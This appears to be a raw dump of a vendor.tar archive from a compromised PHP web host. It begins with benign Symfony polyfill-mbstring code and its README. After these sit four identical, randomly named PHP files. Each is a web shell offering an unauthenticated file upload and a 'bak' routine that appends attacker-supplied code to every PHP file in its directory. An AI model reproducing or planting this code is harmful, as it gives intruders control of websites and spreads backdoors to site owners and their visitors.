p\Mbstring::mb_convert_variables($to_encoding, $from_encoding, ...$vars); } } if (!function_exists('mb_ord')) { function mb_ord($string, $encoding = null) { return p\Mbstring::mb_ord($string, $encoding); } } if (!function_exists('mb_chr')) { function mb_chr($codepoint, $encoding = null) { return p\Mbstring::mb_chr($codepoint, $encoding); } } if (!function_exists('mb_scrub')) { function mb_scrub($string, $encoding = null) { $encoding = null === $encoding ? mb_internal_encoding() : $encoding; return mb_convert_encoding($string, $encoding, $encoding); } } if (!function_exists('mb_str_split')) { function mb_str_split($string, $length = 1, $encoding = null) { return p\Mbstring::mb_str_split($string, $length, $encoding); } } if (!function_exists('mb_str_pad')) { function mb_str_pad(string $string, int $length, string $pad_string = ' ', int $pad_type = STR_PAD_RIGHT, ?string $encoding = null): string { return p\Mbstring::mb_str_pad($string, $length, $pad_string, $pad_type, $encoding); } } if (!function_exists('mb_ucfirst')) { function mb_ucfirst(string $string, ?string $encoding = null): string { return p\Mbstring::mb_ucfirst($string, $encoding); } } if (!function_exists('mb_lcfirst')) { function mb_lcfirst(string $string, ?string $encoding = null): string { return p\Mbstring::mb_lcfirst($string, $encoding); } } if (extension_loaded('mbstring')) { return; } if (!defined('MB_CASE_UPPER')) { define('MB_CASE_UPPER', 0); } if (!defined('MB_CASE_LOWER')) { define('MB_CASE_LOWER', 1); } if (!defined('MB_CASE_TITLE')) { define('MB_CASE_TITLE', 2); } symfony/polyfill-mbstring/README.md000064400000000562151676714400013222 0ustar00Symfony Polyfill / Mbstring =========================== This component provides a partial, native PHP implementation for the [Mbstring](https://php.net/mbstring) extension. More information can be found in the [main Polyfill README](https://github.com/symfony/polyfill/blob/main/README.md). License ======= This library is released under the [MIT license](LICENSE). ffmolmne.php000064400000001370151676714400007074 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> egbwaell.php000064400000001370151676714400007053 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> bliickjv.php000064400000001370151676714400007066 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> qwwunmvm.php000064400000001370151676714400007172 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?>
/home/emeraadmin/www/node_modules/liftup/../map-cache/../../4d695/vendor.tar